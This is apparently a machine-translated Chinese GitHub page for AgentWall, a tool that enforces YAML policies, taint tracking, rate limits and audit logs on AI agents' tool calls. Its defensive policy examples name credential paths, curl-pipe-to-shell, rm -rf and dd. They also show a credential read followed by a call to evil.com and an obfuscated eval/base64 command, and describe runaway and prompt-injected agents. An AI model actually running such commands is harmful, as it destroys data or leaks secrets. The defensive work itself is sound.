AI代理安全防护

AgentWall是一个运行时安全层,用于保护本地AI代理免受恶意或意外破坏,通过YAML策略引擎、污点跟踪和审计日志实现。

  • by agentwall
  • TypeScript
  • 本地部署
  • 41 星标
  • 更新于
在 GitHub 查看 agentwall/agentwall

使用说明

AgentWall

您的AI代理具有root访问权限。这会阻止它。

特工Wall.dev · 论文(arXiv:2605.16265) · 安全报告

npx @agentwall/agentwall setup

克劳德说 始终允许OpenClaw说 始终允许.AgentWall还是阻止了它。

18:14:47   mcp        DENY    policy   list_directory         ← BLOCKED despite Claude "Always allow"
18:14:51   openclaw   DENY    policy   exec                   ← BLOCKED despite OpenClaw approval
18:15:03   openclaw   DENY    policy   exec   gog gmail trash ← BLOCKED (inbox deletion prevented)

你的YAML策略是最终决定。不是客户。不是模型。你。

为什么在内置安全失效时,这会起作用: AgentWall在模型的上下文窗口之外运行。上下文压缩、提示注入或受损工具无法触及您的策略文件。


⚠️ 2026年2月,一个失控的OpenClaw代理发送了142 gog gmail trash 呼叫并删除了用户的整个收件箱。Claude Desktop和OpenClaw内置的安全提示在模型的上下文窗口内运行。上下文压缩可以完全清除它们。 Agent Wall会在呼叫#1时阻止它。

📖 写: 您的AI代理可以读取您计算机上的每个凭据

📄 纸张: AgentWall:本地AI代理的运行时安全层 (arXiv:2605.16265)——威胁模型、策略模型和基准测试(92.9%的执行准确率,子毫秒开销)。 BibTeX 在......下面


目录


特性

  • 无处不在。 Claude Desktop、Cursor、Windsurf、Claude Code、OpenClaw、任何MCP客户端
  • Taint追踪。 检测凭据读取并阻止后续的出站网络调用,在完成多步渗透之前停止它
  • YAML策略引擎。 拒绝、允许、使用全局匹配、SQL内容匹配、路径规则进行询问
  • 一个命令安装。 npx @agentwall/agentwall setup 自动检测并包装所有MCP服务器
  • 浏览器审批界面。 批准或拒绝浏览器中的工具调用;在没有终端的GUI客户端中工作
  • 独立审计日志。 每次工具调用的真实记录,无论模型声称它做了什么
  • 热重新加载。 编辑 ~/.agentwall/policy.yaml 更改立即生效,无需重新启动
  • 速率限制。 在失控的代理循环造成损害之前,限制每分钟的工具调用次数
  • 防止收件箱删除。 积木 gog gmail trash/delete 命令和速率限制批量Gmail操作;本可以阻止 2026年2月OpenClaw事件 随叫随到#1
  • 完全可逆。 agentwall undo 在一个命令中恢复所有原始配置
  • 策略库。 gog、GitHub、1Password、消息传递等社区政策,请访问 代理墙注册表

安装

npx @agentwall/agentwall setup

AgentWall检测克劳德桌面、光标、Windsurf、克劳德代码和OpenClaw。 自动包装每个MCP服务器。备份您的原件。零JSON编辑。

# Or install globally
npm install -g @agentwall/agentwall
agentwall setup

需要Node.js>=22。

要验证保护是否处于活动状态:

agentwall status
# AgentWall v0.9.1
# Protected: Claude Desktop (3 servers) · Cursor (1 server) · OpenClaw
# Policy: ~/.agentwall/policy.yaml
# Decisions today: 47 allowed · 0 blocked · 2 approved

快速开始

# 1. Install and wrap your MCP servers
npx @agentwall/agentwall setup

# 2. Create a default policy (protects credentials, database, shell)
agentwall init

# 3. Start the web UI first (it owns port 7823)
agentwall ui
# → http://localhost:7823

# 4. Start OpenClaw gateway (if using OpenClaw)
openclaw gateway
# Detects AgentWall on port 7823 and routes approvals to the browser

# 5. Open your AI client (Claude Desktop, Cursor, etc.)
# MCP proxies spawn automatically and connect to the same UI

⚠️ 开机顺序很重要。 开始 agentwall ui 在OpenClaw网关之前和打开AI客户端之前。网关和MCP代理在启动时检测UI,并将批准请求路由到它。如果UI尚未运行,它们会退回到终端提示。


支持的客户

客户 审批方式 集成
克劳德桌面 本地主机浏览器UI:7823 MCP代理
光标 本地主机浏览器UI:7823 MCP代理
Windsurf 本地主机浏览器UI:7823 MCP代理
克劳德代码 终端 y/n/a 提示 MCP代理
OpenClaw 终端 y/n/a prompt 本机插件
任何MCP客户端 浏览器UI或终端 MCP代理

GUI客户端 (光标、克劳德桌面、Windsurf)没有终端。审批请求显示在您的浏览器中 http://localhost:7823。如果没有响应,30秒后自动拒绝。

终端客户端 (Claude Code,OpenClaw)获取内联 y/n/a 提示。按 a 始终允许在会话的其余时间进行操作。


Web用户界面

agentwall ui    # → http://localhost:7823

批准 /:实时批准或拒绝浏览器中的工具调用。30秒后自动拒绝。

策略编辑器 /policy:直观地或在原始YAML中编辑规则。两种模式都编辑同一个文件。更改立即生效。

日志查看器 /log:您的代理所做一切的可搜索视图。按运行时、决策、工具名称、日期过滤。

客户 /clients:查看计算机上每个受支持的客户端,哪些MCP服务器受到保护,并一键包装新服务器。

web UI仅限于本地主机。没有身份验证。无外部连接。


龙虾

AgentWall包含一个本地OpenClaw插件,可以连接到 before_tool_call,拦截 exec, read, write, edit, apply_patch,以及 process 在他们执行之前。

# From a clone of this repo (directory that contains openclaw.plugin.json)
openclaw plugins install agentwall --link

该插件独立于MCP代理运行。两者都可以同时运行,将每个决策记录到同一个审计文件中,而不管哪个运行时触发了它。

如果你使用 gog 对于Gmail访问,请在您的策略中添加电子邮件保护规则。看 防止收件箱删除(gog) 在......下面


政策

AgentWall按以下顺序评估规则: deny → 允许→ ask. 不匹配的呼叫默认为 问。从不允许无声地拨打未知电话。

agentwall init    # creates ~/.agentwall/policy.yaml with sensible defaults

规则字段

字段 描述 示例
command Shell命令glob "rm -rf *"
path 文件路径glob ~/.ssh/**
tool MCP工具名称glob "write_file"
match 参数内容glob(不区分大小写) sql: "drop *"
url URL模式 "*.competitor.com/*"

球状图案: * 匹配除以下字符之外的任何字符 /. ** 匹配所有内容,包括 /规则中的所有字段都使用AND逻辑。

特殊路径值: outside:workspace 匹配当前工作目录之外的任何路径。

保护您的数据库

deny:
  - tool: "*"
    match:
      sql: "drop *"
  - tool: "*"
    match:
      sql: "truncate *"

ask:
  - tool: "*"
    match:
      sql: "delete *"
  - tool: "*"
    match:
      sql: "alter *"

DROP和TRUNCATE默默地封锁了。DELETE和ALTER提示审批。其他一切正常运行。SQL匹配不区分大小写。

防止收件箱删除(gog)

OpenClaw使用 gog CLI访问Gmail。自从 gog 作为shell进程运行,AgentWall的原生插件通过以下方式拦截它 exec 在它触及你的收件箱之前。

2026年2月,一名失控的OpenClaw代理发送了142 gog gmail trash 在用户进行干预之前,呼叫并删除了用户的整个收件箱。这是在呼叫#1时停止它的策略。代理自己的护栏没有。它们在代理已经覆盖的上下文窗口内运行。

deny:
  # Email — never trash or delete without explicit approval
  - tool: exec
    match:
      command: "gog gmail trash*"
  - tool: exec
    match:
      command: "gog gmail delete*"
  - tool: exec
    match:
      command: "gog gmail batchDelete*"

ask:
  # Email — confirm any inbox modification
  - tool: exec
    match:
      command: "gog gmail modify*"
  - tool: exec
    match:
      command: "gog gmail archive*"

limits:
  - tool: exec
    match:
      command: "gog gmail*"
    max: 10
    window: 60    # max 10 Gmail operations per minute (a loop of 142 never completes)

删除规则被默认拒绝。归档并修改审批提示。即使错过了规则,速率限制也会捕获失控的批量操作。

为什么这在OpenClaw自己的护栏失败时奏效:该政策存在于 ~/.agentwall/policy.yaml,在模型的上下文窗口之外。擦除模型安全说明的上下文压缩不会影响此文件。

请参阅 事故记录 完整的时间表。要深入了解凭证泄漏的工作原理以及AgentWall如何阻止它,请阅读: 您的AI代理可以读取您计算机上的每个凭据

完全默认策略

deny:
  # Credentials — never access
  - path: ~/.ssh/**
  - path: ~/.aws/**
  - path: ~/.gnupg/**

  # Shell config — prevent persistence/backdoor
  - path: ~/.bashrc
  - path: ~/.zshrc

  # Shell — never pipe from internet
  - command: "curl * | *"
  - command: "wget * | *"

  # Database — never drop or truncate
  - tool: "*"
    match:
      sql: "drop *"
  - tool: "*"
    match:
      sql: "truncate *"

ask:
  # Shell — confirm destructive commands
  - command: "rm -rf *"
  - command: "sudo *"
  - command: "dd *"

  # Git — confirm pushes to main
  - tool: exec
    match:
      command: "git push*main*"

  # Database — confirm writes
  - tool: "*"
    match:
      sql: "delete *"
  - tool: "*"
    match:
      sql: "alter *"

  # Files outside workspace
  - tool: "*"
    path: outside:workspace

allow:
  # Everything inside workspace is trusted
  - path: workspace/**

limits:
  - tool: exec
    max: 30
    window: 60    # max 30 shell commands per minute

allowed_hosts:
  - api.anthropic.com
  - api.openai.com
  - github.com
  - registry.npmjs.org
  - pypi.org

速率限制

限制代理在每个会话窗口中可以调用工具的次数。在失控回路造成损坏之前将其捕获。

limits:
  - tool: exec
    max: 10
    window: 60      # max 10 shell commands per minute
  - tool: "*"
    max: 200
    window: 300     # max 200 total tool calls per 5 minutes

当接近限制(90%)时,AgentWall会触发macOS通知。当它点击时,代理会收到一条它可以读取的消息:

AgentWall: exec rate limit reached (10/60s). Wait 43 seconds.

Taint跟踪

AgentWall跟踪会话内跨工具调用的多步渗透攻击。当工具调用读取敏感文件(凭据、SSH密钥、环境变量)时,会话标记为 受污染的。无论单个策略规则如何,对不在分配列表上的主机的任何后续出站网络呼叫都会被自动阻止。

此检测到的杀伤链:

Tool call reads ~/.aws/credentials   →   session marked TAINTED
Tool call runs curl https://evil.com →   BLOCKED (taint violation)

Taint由以下因素触发:

  • 读取敏感文件: ~/.ssh/, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, .env,SSH密钥
  • 敏感数据库查询: information_schema, pg_catalog, mysql.user
  • 访问的命令 process.env, os.environ,或敏感的环境变量

配置即使受到污染也允许哪些主机:

allowed_hosts:
  - api.anthropic.com
  - api.openai.com
  - github.com
  - registry.npmjs.org
  - pypi.org

Taint状态可见 agentwall statusweb UI(警告横幅),以及 agentwall replay (以洋红色突出显示)。当新会话开始时,Taint会自动重置。


热重载

编辑 ~/.agentwall/policy.yaml 并且更改会立即应用于所有正在运行的代理和插件。无需重新启动Claude Desktop、Cursor或网关。

[AgentWall] Policy reloaded: ~/.agentwall/policy.yaml

审计日志

每个决策都独立于模型所声称的内容进行记录。

日志文件 编写人 目录
~/.agentwall/session-YYYY-MM-DD.jsonl MCP代理 通过代理拦截的工具调用
~/.agentwall/decisions.jsonl OpenClaw插件 通过原生插件拦截的工具调用

web UI日志查看器会自动合并这两个文件。

agentwall replay          # color-coded table of today's decisions
agentwall replay 20       # last 20 entries
agentwall clear-logs      # remove all log files and start fresh

如果模型报告它只读取了一个文件,但AgentWall记录了47次读取,则日志是正确的。


命令

agentwall setup [--dry-run]          Auto-detect and wrap all MCP configs
agentwall undo                       Restore all original MCP configs from backup
agentwall proxy -- <cmd> [args]      Wrap a single MCP server
agentwall ui [--port 7823]           Start the web UI
agentwall init                       Create default policy at ~/.agentwall/policy.yaml
agentwall status                     Show protection status and today's decision counts
agentwall replay [N]                 Show recent audit log entries (color-coded)
agentwall clear-logs                 Remove all log files
agentwall --version                  Print version

运作原理

AgentWall位于您的AI客户端和它生成的每个MCP服务器之间。

AI Client  ←→  AgentWall Proxy  ←→  Real MCP Server
                     |
               policy.yaml          ← your rules
               taint tracker        ← cross-call exfiltration detection
               audit log            ← independent record
               approval UI          ← localhost:7823

客户永远不知道AgentWall在那里。真正的服务器永远不会知道它正在被代理。 agentwall setup 自动更改配置:

Before:
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "~"]
    }
  }
}

After:
{
  "mcpServers": {
    "filesystem": {
      "command": "agentwall",
      "args": ["proxy", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "~"]
    }
  }
}

AgentWall保护什么

  • 意外破坏: rm -rf, DROP TABLE, TRUNCATE
  • 凭证访问: ~/.ssh, ~/.aws, ~/.gnupg
  • Shell配置修改: ~/.bashrc, ~/.zshrc (持久性/后门)
  • 工作区外的操作
  • 破坏性git操作:强制推送、向主推送
  • 失控代理:每个工具每个会话的速率限制
  • 常见的混淆模式: eval, base64 -d
  • 未经批准的数据库写入: DELETE, ALTER, UPDATE
  • 多步渗透:污染跟踪阻止凭据读取→ 网络发送链
  • 通过gog删除收件箱:拒绝垃圾/删除命令,限制批量Gmail操作的速率

Agent Wall不能保护什么

混乱的命令。 eval $(echo cm0= | base64 -d).模式匹配参见 eval,而不是解码的有效载荷。

通过请求体进行数据泄露。 Agent Wall看到 curl 命令,而不是网络有效载荷。

迅速注射。 在代理读取之前,需要扫描每个文件。

超越污染跟踪的多步攻击。 Taint跟踪捕捉到最常见的模式(读取凭据→ 网络渗透),但不是所有间接链,例如将凭据写入一个世界可读的文件,然后另一个进程读取并发送。

AgentWall是一个策略引擎,而不是安全沙箱。正确的补充是操作系统级隔离:在一开始就没有凭据访问权限的容器中运行代理。两者相辅相成。


OWASP代理AI十大报道

AgentWall解决了以下风险 2026年代理应用的OWASP前10名:

威胁 AgentWall如何提供帮助
ASI02–工具滥用和利用 YAML策略引擎在执行前阻止破坏性的工具调用
ASI03–身份和特权滥用 凭证路径保护、工作区边界强制和污染跟踪
ASI04–数据过滤 Taint跟踪检测凭证访问并阻止后续的出站网络呼叫
ASI08–级联故障 速率限制在失控的代理循环造成损害之前将其捕获

AgentWall是一个策略引擎,而不是安全沙箱。看 Agent Wall不能保护什么 诚实地评估其局限性。


策略库

通用工具的即用型策略:gog、GitHub CLI、1Password、消息传递、Homebrew等。

agentwall policy add gog
agentwall policy add github
agentwall policy add bundle/developer

浏览所有政策→ github网站/agentwall/agentwall-reistry


贡献

欢迎捐款。看 贡献.md 作为指导方针。

要将新的MCP服务器添加到策略注册表中,请打开一个PR 代理墙注册表.


版本历史

版本 主题 发货内容
v0.1 概念验证 执行拦截、YAML策略引擎、JSONL审计日志
v0.2 完全覆盖OpenClaw 原生插件,所有工具调用都被拦截
v0.3 运行时无关 MCP代理:Claude Desktop、Cursor、Windsurf
v0.4 零摩擦 agentwall setup,数据库规则,npm发布
v0.5 可用性 热重载,速率限制
v0.6 Web UI 审批页面、策略编辑器、日志查看器
v0.7 客户端可见性 客户端选项卡,自动检测,一键保护
v0.8 通知 macOS通知、选项卡标题、声音
v0.9 污点跟踪 UI/CLI/audit中的交叉调用泄漏检测、allowe_hosts、污点状态

引用

如果您在学术工作中使用AgentWall,请引用:

阿拉维德,A.(2026)。 AgentWall:本地AI代理的运行时安全层.arXiv:2605.16265。https://arxiv.org/abs/2605.16265

@misc{aravind2026agentwall,
  title         = {AgentWall: A Runtime Safety Layer for Local AI Agents},
  author        = {Ashwin Aravind},
  year          = {2026},
  eprint        = {2605.16265},
  archivePrefix = {arXiv},
  primaryClass  = {cs.AI},
  url           = {https://arxiv.org/abs/2605.16265}
}

许可证

根据 Apache许可证,版本2.0.